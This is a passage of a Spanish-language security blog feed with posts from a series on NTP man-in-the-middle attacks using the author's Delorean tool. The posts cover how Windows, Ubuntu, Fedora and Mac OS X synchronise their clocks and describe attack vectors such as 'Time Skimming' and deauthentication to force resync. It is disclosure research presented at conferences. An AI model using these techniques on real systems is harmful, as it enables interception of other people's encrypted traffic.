Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-_HCR5rFdGe0/VjW2sfWZoWI/AAAAAAAACDs/0d5AdQXkZIM/s72-c/hsts.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-8817919639131595112</guid><pubDate>Fri, 30 Oct 2015 07:30:00 +0000</pubDate><atom:updated>2015-11-01T07:49:42.365+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Delorean</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">NTP</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWindows</category><title>Sincronización de tiempos en Microsoft</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Pégale un vistazo a otros posts de esta serie:&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/delorean.html&quot; target=&quot;_blank&quot;&gt;[1] NTP MitM con Delorean&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-macosx.html&quot; target=&quot;_blank&quot;&gt;[2] Sincronización de tiempos en Mac OS X&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-linux.html&quot; target=&quot;_blank&quot;&gt;[3] Sincronización de tiempos en Fedora / Ubuntu&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-microsoft.html&quot; target=&quot;_blank&quot;&gt;[4] Sincronización de tiempos en Microsoft&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/11/ntp-hsts.html&quot; target=&quot;_blank&quot;&gt;[5] Atacando HTTP Strict Transport Security&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;[6] Atacando la Infraestructura de Clave Pública (PKI)&lt;/div&gt;[7] Otros ataques&lt;br /&gt;[8] Herramientas de ayuda&lt;br /&gt;&lt;br /&gt;Por supuesto, no podría acabar mis ejemplos sin hablar de Microsoft. De los sistemas operativos de escritorio con los que he estado haciendo pruebas, Microsoft tiene el sistema de sincronización de tiempos más segudo. Funciona de manera diferente en sistemas &quot;standalone&quot; que en miembros de un dominio, así que veamos ambas circunstancias.&lt;br /&gt;&lt;br /&gt;En un&lt;b&gt; Windows &quot;standalone&quot;&lt;/b&gt; la sincronización tiene lugar cada 7 días (domingos de madrugada para ser exactos) así que la única opción de interceptar las peticiones NTP es estar presentes el domingo o el lunes cuando el usuario arrnca el sistema por primera vez después de la hora de sincronización. Además, Windows tiene un límite de 15 horas para el cambio de la fecha, con lo que no podemos cambiar el reloj más de esas 15 horas para cada sincronización, lo cual es un verdadero problema para la mayoría de los ataques que veremos en los próximos artículos.&lt;br /&gt;&lt;br /&gt;Esas 15 horas no son un valor escrito a fuego en el código, sino que está guardado en el registro de Windows, en las llaves &quot;MaxPosPhaseCorrection&quot; y &quot;MaxNegPhaseCorrection&quot;, y pueden ser diferentes en diferentes sistemas, por ejemplo, en Windows 7/8 son 15 horas, pero en un Windows Server 2012 son 48 horas, y en servidores más antiguos será diferente también. También puede cambiar cuando se dan ciertos cambios en el sistema, por ejemplo cuando el equipo se une a un dominio Microsoft.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-oNXJoY-74zo/VjMfuoSl5GI/AAAAAAAACCQ/lrdHM4MYEI0/s1600/15hours.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/-oNXJoY-74zo/VjMfuoSl5GI/AAAAAAAACCQ/lrdHM4MYEI0/s400/15hours.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;La combinación de ambas protecciones hace a los sistemas Windows bastante seguros en lo que a sincronización de tiempos se refiere. Sin embargo, si cualquiera de ellos es cambiado por el usuario, habría algunos vectores de ataques posibles. Por ejemplo, hay muchos tutoriales en internet explicando como cambiar la frecuencia de la sincronización de la hora, porque piensas (y probablemente están en lo cierto) que una vez a la semana no es suficiente para conseguir una buena precisión de reloj.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-W7Xwgep617k/VjMf2qp10zI/AAAAAAAACCY/oakefajJYvc/s1600/more_often.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;215&quot; src=&quot;http://3.bp.blogspot.com/-W7Xwgep617k/VjMf2qp10zI/AAAAAAAACCY/oakefajJYvc/s400/more_often.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;Bajo estas circunstancias, se me ocurrió un nuevo vector de ataque ¿Qué ocurre si un usuario configura su sistema para sincronizar la hora con más frecuencia que el limite que comentábamos antes? La respuesta es que un atacante podría interceptar la petición y cambiar la hora del equipo a unos pocos segundos antes de la próxima sincronización. Tras esos segundos interceptaría otra vez la petición y haría lo propio, y así sucesivamente hasta llegar a la fecha deseada. Llamé a este ataque &quot;Time Skimming&quot; porque es similar a un &quot;Stone Skimming&quot;, que en Inglés es como se llama al efecto de tirar una piedra en un lago y que vaya saltando sobre la superficio, recorriendo grandes distancias. Este ataque también está implementado en Deloran: &lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/HFCOoV_ipEM&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Hay otra manera más de forzar la sincronización, pero requiere utilizar técnicas de ingeniería social. Cuando un usuario solicita una sincronización de hora manualmente usando el menú &quot;Internet Time Settings&quot; la hora se sincroniza sin ninguna restricción, pero no es tan fácil como en Mac OS X, ya que llegar a esta ventana requiere varios clicks.&lt;br /&gt;&lt;br /&gt;Los &lt;b&gt;miembros de un dominio&lt;/b&gt; funcionan de manera diferente. Los valores de Max[Pos|Neg]PhaseCorrction pasan a ser 0xFFFFFFFF que quiere decir &quot;aceptar cualquier hora&quot;. Esto es un riesgo, pero han incluido firma en los paquetes para autenticar el origen de la respuesta:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-MN9JB8vBI48/VjMf8t_a2sI/AAAAAAAACCg/eW-THcwl-OI/s1600/authwin.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;227&quot; src=&quot;http://4.bp.blogspot.com/-MN9JB8vBI48/VjMf8t_a2sI/AAAAAAAACCg/eW-THcwl-OI/s400/authwin.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Microsoft usa el estándar NTP de una forma creativa. El &quot;Key ID&quot; debería ser un valor que identificara qué clave debe ser usada para autenticar la respuesta. En una petición NTP normal debería tenr un valor 1 o 2, dependiendo de la cantidad de claves disponibles. Sin embargo, lo que hace Microsoft es identificar el sistema dentro del directorio activo que está realizando esta petición. Por ejmplo, si tenemos un KeyID 0x5e040000 necesitamos cambiar el orden de los bytes (endianess) y tendríamos 0x0000045e. El primer bit es un selector de clave (0 o 1), y el resto es el Relative ID (RID) del equipo.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-Dy2kKF1BBtk/VjMgB2CnOTI/AAAAAAAACCo/6fVtdGbBEtA/s1600/rid.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;281&quot; src=&quot;http://4.bp.blogspot.com/-Dy2kKF1BBtk/VjMgB2CnOTI/AAAAAAAACCo/6fVtdGbBEtA/s400/rid.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;Como probablemente sepais, tanto los equipos como los usuarios son objetos en un dirctorio activo. Los equipos son un tipo espcial de usuario. Ellos mismos crean una contraseña compartida para su usuario cuando se unen a un dominio, y esta contraseña se cambia automáticamente de forma periódica. Un controlador de dominio guarda los dos últimos&amp;nbsp; hashes de las contraseñas utilizadas, que es lo que selecciona el selector de clave que comentabamos antes.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;/* Sign the NTP response with the unicodePwd */&lt;br /&gt;MD5Init(&amp;amp;ctx);&lt;br /&gt;MD5Update(&amp;amp;ctx, nt_hash-&amp;gt;hash, sizeof(nt_hash-&amp;gt;hash));&lt;br /&gt;MD5Update(&amp;amp;ctx, sign_request.packet_to_sign.data, sign_request.packet_to_sign.length);&lt;br /&gt;MD5Final(signed_reply.signed_packet.data + sign_request.packet_to_sign.length + 4, &amp;amp;ctx);&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Las respuestas son firmadas usando MD5 ( &lt;b&gt;md5(hashed_password+response_body)&lt;/b&gt; ), que no es el algoritmo de hashing más robusto del mundo, pero al menos yo no pude encontrar un ataque factible para un mensaje tan pequeño, así que en este momento opino que la sincronización de tiempos de un dominio Microsoft es la más robusta de las que he analizado.&lt;/div&gt;</description><link>http://www.pentester.es/2015/10/ntp-microsoft.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-oNXJoY-74zo/VjMfuoSl5GI/AAAAAAAACCQ/lrdHM4MYEI0/s72-c/15hours.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-700339344686124611</guid><pubDate>Wed, 28 Oct 2015 07:00:00 +0000</pubDate><atom:updated>2015-11-01T07:50:13.869+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Delorean</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">MitM</category><category domain="http://www.blogger.com/atom/ns#">NTP</category><category domain="http://www.blogger.com/atom/ns#">SeguridadLinux</category><title>Sincronización de tiempos en Fedora / Ubuntu</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Pégale un vistazo a otros posts de esta serie:&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/delorean.html&quot; target=&quot;_blank&quot;&gt;[1] NTP MitM con Delorean&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-macosx.html&quot; target=&quot;_blank&quot;&gt;[2] Sincronización de tiempos en Mac OS X&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-linux.html&quot; target=&quot;_blank&quot;&gt;[3] Sincronización de tiempos en Fedora / Ubuntu&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-microsoft.html&quot; target=&quot;_blank&quot;&gt;[4] Sincronización de tiempos en Microsoft&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/11/ntp-hsts.html&quot; target=&quot;_blank&quot;&gt;[5] Atacando HTTP Strict Transport Security&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;[6] Atacando la Infraestructura de Clave Pública (PKI)&lt;/div&gt;[7] Otros ataques&lt;br /&gt;[8] Herramientas de ayuda&lt;br /&gt;&lt;br /&gt;Ayer estabamos hablando de como funciona la sincronización de tiempos en Mac OS X y de como es diferente en las versiones pre-Mavericks que en las más modernas. Hoy vamos a pegar un vistazo a GNU/Linux. Por supuesto, hay un montón de sabores de Linux disponibles, y no hubiera podido revisarlos todos, así que me quedé con los dos que yo creo que están más extendidos en los usuarios de escritorio (Ubuntu y Fedora), ya que ellos serían los objetivos principales en caso de un ataque.&lt;br /&gt;&lt;br /&gt;Descargo de responsabilidad: Toda la información se ha obtenido de una  forma empirica, realizando pruebas, y en un periodo de tiempo concreto,  con lo que puede haber cambiado en el momento de leer este artículo.&lt;br /&gt;&lt;b&gt;Ubuntu Linux&lt;/b&gt; es el único sistema de los que he visto que no sincroniza su reloj de forma periódica, por lo que no es tan simple como esperar la cantidad de tiempo suficiente e interceptar la petición NTP. En Ubuntu, la sincronización se produce cada vez que un interface de red se levante (y, por supuesto, cada vez que el sistema arranca). Pegémosle un vistazo a los scripts que el sistema ejecuta cuando ésto ocurre:&lt;br /&gt;&lt;br /&gt;$ ls /etc/network/if-up.d/&lt;br /&gt;000resolvconf&amp;nbsp; avahi-daemon&amp;nbsp; &lt;b&gt;ntpdate&lt;/b&gt;&amp;nbsp; wpasupplicant&lt;br /&gt;avahi-autoipd&amp;nbsp;&amp;nbsp; ethtool&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; upstart&lt;br /&gt;&lt;br /&gt;No hay ninguna restricción en cuanto a grandes cambios de hora, con lo que podríamos interceptar la petición y cambiar la hora local de forma sencilla, usando Delorean. Hay dos posibles escenarios: Interceptar cuando el equipo arranca o se conecta a la red, o simplemente denegarle el servicio a la red y esperar a que vuelva a conectar, deautenticando en una red Wifi, por ejemplo.&lt;br /&gt;&lt;br /&gt;Por otro lado, &lt;b&gt;Fedora Linux&lt;/b&gt; usa una aproximación similar a Mac OS X. En versiones anteriores, simplemente sincronizaba la hora cada minuto sin ninguna restricción de seguridad, así que resultaba sencillo y rápido usar Delorean y manipular ele reloj:&lt;br /&gt;&lt;br /&gt;$ tcpdump -i eth0 -nn src port 123&lt;br /&gt;12:&lt;b&gt;43&lt;/b&gt;:50.614191 IP 192.168.1.101.123 &amp;gt; 89.248.106.98.123: NTPv3, Client, length 48&lt;br /&gt;12:&lt;b&gt;44&lt;/b&gt;:55.696390 IP 192.168.1.101.123 &amp;gt; 213.194.159.3.123: NTPv3, Client, length 48&lt;br /&gt;12:&lt;b&gt;45&lt;/b&gt;:59.034059 IP 192.168.1.101.123 &amp;gt; 89.248.106.98.123: NTPv3, Client, length 48&lt;br /&gt;&lt;br /&gt;En algún momento cambiaron la manera en la que hacían esta sincronización. En este momento hay un servicio llamado &quot;chrony&quot; que funciona de manera similar a &quot;pacemaker&quot; en Mac OS X. Sin embargo, Chrony está configurado de una forma más segura que Pacemaker, ya que por defecto no acepta grandes cambios de hora. Solo acepta este tipo de cambios en las tres primeras sincronizaciones tras el arranque o reinicio, así que sí que podremos usar Delorean si el sistema arranca o si somos capaces de realizar una denegación de servicio de chrony.&lt;br /&gt;&lt;br /&gt;Probablemente es muy pronto para enseñar este video, porque aún no hemos hablado de HSTS y como puede ser evadido usando ataques de sincronización, pero tomadlo como un mero ejemplo de como podemos manipular la hora de un Linux Ubuntu usando Delorean:&lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/MxAJDc7g9SQ&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2015/10/ntp-linux.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/MxAJDc7g9SQ/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-3701747342184965845</guid><pubDate>Tue, 27 Oct 2015 07:00:00 +0000</pubDate><atom:updated>2015-11-01T07:48:44.247+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Delorean</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">MacOSX</category><category domain="http://www.blogger.com/atom/ns#">MitM</category><category domain="http://www.blogger.com/atom/ns#">NTP</category><title>Sincronización de tiempos en Mac OS X</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Pega un vistazo a los otros posts de esta serie:&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/delorean.html&quot; target=&quot;_blank&quot;&gt;[1] NTP MitM con Delorean&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-macosx.html&quot; target=&quot;_blank&quot;&gt;[2] Sincronización de tiempos en Mac OS X&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-linux.html&quot; target=&quot;_blank&quot;&gt;[3] Sincronización de tiempos en Fedora / Ubuntu&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;[4] Sincronización de tiempos en Microsoft&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/11/ntp-hsts.html&quot; target=&quot;_blank&quot;&gt;[5] Atacando HTTP Strict Transport Security&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;[6] Atacando la Infraestructura de Clave Pública (PKI)&lt;/div&gt;[7] Otros ataques&lt;br /&gt;[8] Herramientas de ayuda&lt;br /&gt;&lt;br /&gt;La semana pasada mostrabamos como funcionaba Delorean y como podría ser usado para manipular respuestas NTP. Sin embargo, los diferentes sistemas operativos sincronizan su reloj de forma ligeramente diferente.&lt;br /&gt;&lt;br /&gt;Descargo de responsabilidad: Toda la información se ha obtenido de una forma empirica, realizando pruebas, y en un periodo de tiempo concreto, con lo que puede haber cambiado en el momento de leer este artículo.&lt;br /&gt;&lt;br /&gt;Los Mac OS X anteriores a Mavericks usaban una sincronización de reloj muy sencilla. Un servicio NTPd se ejecuta y sincroniza el tiempo cada 9 minutos. Ninguna restricción de seguridad se aplica en este servicio, con lo que sería posible atacarlo usando Delorean.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;$ tcpdump -i eth0 -nn src port 123&lt;br /&gt;09:&lt;b&gt;02&lt;/b&gt;:18.166708 IP 192.168.1.100.123 &amp;gt; 17.72.148.53.123: NTPv4, Client, length 48&lt;br /&gt;09:&lt;b&gt;11&lt;/b&gt;:20.059792 IP 192.168.1.100.123 &amp;gt; 17.72.148.53.123: NTPv4, Client, length 48&lt;br /&gt;09:&lt;b&gt;20&lt;/b&gt;:17.951361 IP 192.168.1.100.123 &amp;gt; 17.72.148.53.123: NTPv4, Client, length 48 &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Sin embargo, Apple cambio la manera de funcionar de este servicio. En la actualidad, NTPd aún es utilizado en las versiones modernas de Mac OS X, pero ya no cambia la hora por si mismo. En su lugar, la diferencia de tiempo se guarda en /var/db/ntp.drift , y hay otro servicio llamado &quot;pacemaker&quot; que debería comprobar su valor y cambiar el reloj si es necesario.&lt;br /&gt;Este servicio tiene algunas ventajas. Por ejemplo, adapta la cantidad de peticiones NTP en función de si el equipo está conectado a corriente o funciona con baterías. Otra diferencia importante es que los cambios de reloj no se aplican en un solo paso. El reloj se acelera o se ralentiza para corregir la fecha, pero sin grandes saltos. No implementa tampoco ningún otra función de seguridad, con lo que también podría ser atacado utilizando Delorean.&lt;br /&gt;&lt;br /&gt;Aunque no debería ser un problema, nos dimos cuenta que NTPd no estaba funcionando correctamente en éstas últimas versiones de Mac OS X, con lo que la sincronización de tiempos nos estaba funcionando. &lt;a href=&quot;http://www.atmythoughts.com/living-in-a-tech-family-blog/2014/2/28/what-time-is-it&quot; target=&quot;_blank&quot;&gt;Podemos encontrar gente comentando este tema en Internet&lt;/a&gt; ¿Quiere esto decir que los Mac OS X modernos no son vulnerables al ataque con Delorean? La respuesta es NO. Peguemos un vistazo al script &lt;i&gt;/usr/libexec/ntpd-wrapper&lt;/i&gt; :&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-YSw06ZJlUdg/Vi6Wg91ds0I/AAAAAAAACA4/j24kOAMSJm8/s1600/boot.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;260&quot; src=&quot;http://3.bp.blogspot.com/-YSw06ZJlUdg/Vi6Wg91ds0I/AAAAAAAACA4/j24kOAMSJm8/s400/boot.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;Como podéis ver, Mac OS X ejecuta el comando sntp (simple NTP) en el arranque, antes de ejecutar el servicio NTPd. Este comando no está afectado por el mismo fallo, con lo que &lt;b&gt;podríamos interceptar la sincronización y realizar un ataque con Delorean cuando Mac OS X arranca&lt;/b&gt;, &lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Existe otra manera de explitar este mecanismo de sincronización que implementa Mac OS X. Cuando un usuario abre el menú &quot;&lt;i&gt;Date &amp;amp; Time Preferences&lt;/i&gt;&quot;, el sistema operativo sincroniza automáticamente la hora sin el conocimiento del usuario, con lo que también podríamos usar Delorean en este escenario.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-Y9C-YlY3ZeI/Vi6WnC8F-HI/AAAAAAAACBE/bCPvfCTfdo0/s1600/menuwin.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;233&quot; src=&quot;http://1.bp.blogspot.com/-Y9C-YlY3ZeI/Vi6WnC8F-HI/AAAAAAAACBE/bCPvfCTfdo0/s400/menuwin.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;En los proximos artículos mostraremos como podemos utilizar esta vulnerabilidad para interceptar comunicaciones SSL, tal y como presentamos en DEF CON recientemente.&lt;/div&gt;</description><link>http://www.pentester.es/2015/10/ntp-macosx.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-YSw06ZJlUdg/Vi6Wg91ds0I/AAAAAAAACA4/j24kOAMSJm8/s72-c/boot.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-2027611947245513027</guid><pubDate>Wed, 21 Oct 2015 06:00:00 +0000</pubDate><atom:updated>2015-11-01T07:50:41.475+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Delorean</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">MitM</category><category domain="http://www.blogger.com/atom/ns#">NTP</category><title>NTP MitM con Delorean</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Hace alrededor de un año y medio empecé una investigación sobre como los ordenadores sincronizaban sus relojes internos, y como esto podría usarse para atacar protocols o servicios conocidos que se ejecutan en los sistemas operativos. Como resultado, presente mis hallazgos en varias conferencias de seguridad como &lt;a href=&quot;https://www.blackhat.com/eu-14/briefings.html#bypassing-http-strict-transport-security&quot; target=&quot;_blank&quot;&gt;BlackHat Europe 2014&lt;/a&gt;, &lt;a href=&quot;http://www.rootedcon.es/&quot; target=&quot;_blank&quot;&gt;RootedCON 2015&lt;/a&gt;, &lt;a href=&quot;https://www.defcon.org/html/defcon-23/dc-23-speakers.html#Selvi&quot; target=&quot;_blank&quot;&gt;DEF CON 23&lt;/a&gt; y &lt;a href=&quot;http://navajanegra.com/&quot; target=&quot;_blank&quot;&gt;Navaja Negra / ConectaCON 2015&lt;/a&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-qA7E1W67oYE/ViXANGfHTOI/AAAAAAAACAE/OvL29xDa95s/s1600/back-to-the-future-2015.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;http://3.bp.blogspot.com/-qA7E1W67oYE/ViXANGfHTOI/AAAAAAAACAE/OvL29xDa95s/s320/back-to-the-future-2015.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Hoy, 21 de Octubre de 2015, es la fecha en la que Marty McFly fue al futuro en la segunda parte de la alucinante saga &quot;Regreso al Futuro&quot;, así que no creo que haya una fecha mejor para empezar a publicar todos los detalles de la investigación.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/delorean.html&quot; target=&quot;_blank&quot;&gt;[1] NTP MitM con Delorean&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-macosx.html&quot; target=&quot;_blank&quot;&gt;[2] Sincronización de tiempos en Mac OS X&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-linux.html&quot; target=&quot;_blank&quot;&gt;[3] Sincronización de tiempos en Fedora / Ubuntu&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-microsoft.html&quot; target=&quot;_blank&quot;&gt;[4] Sincronización de tiempos en Microsoft&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/11/ntp-hsts.html&quot; target=&quot;_blank&quot;&gt;[5] Atacando HTTP Strict Transport Security&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;[6] Atacando la Infraestructura de Clave Pública (PKI)&lt;/div&gt;[7] Otros ataques&lt;br /&gt;[8] Herramientas de ayuda&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como veremos en los sucesivos artículos, todos los fabricantes de sistemas operativos que he probado utilizan el protocol NTP (Network Time Protocol) para mantener su reloj interno actualizado a una hora correcta, lo cual es muy importante para algunos protocolos de autenticación entre otros. La mayoría de ellos no despliegan el servicio de forma segura, haciendo vulnerable a ataques de Man-in-the-Middle.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Para explotar esta vulnerabilidad, desarrollé una herramienta a la que llamé &lt;b&gt;&lt;u&gt;&lt;a href=&quot;https://github.com/PentesterES/Delorean&quot; target=&quot;_blank&quot;&gt;DELOREAN&lt;/a&gt;&lt;/u&gt;&lt;/b&gt;. Delorean es un servidor NTP escrito en python, de código abierto y &amp;nbsp;&lt;a href=&quot;https://github.com/PentesterES/Delorean&quot; target=&quot;_blank&quot;&gt;disponible en GitHub&lt;/a&gt; (toda contribución es bienvenida). Tomé prestadas algunas lineas de código de la herramienta&amp;nbsp;&lt;a href=&quot;http://github.com/limifly/ntpserver&quot; target=&quot;_blank&quot;&gt;ntpserver de kimifly&lt;/a&gt;&amp;nbsp;y, por supuesto, ha sido incluido en los créditos como correspondía.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Lo que hace a Delorean diferente y útil es que 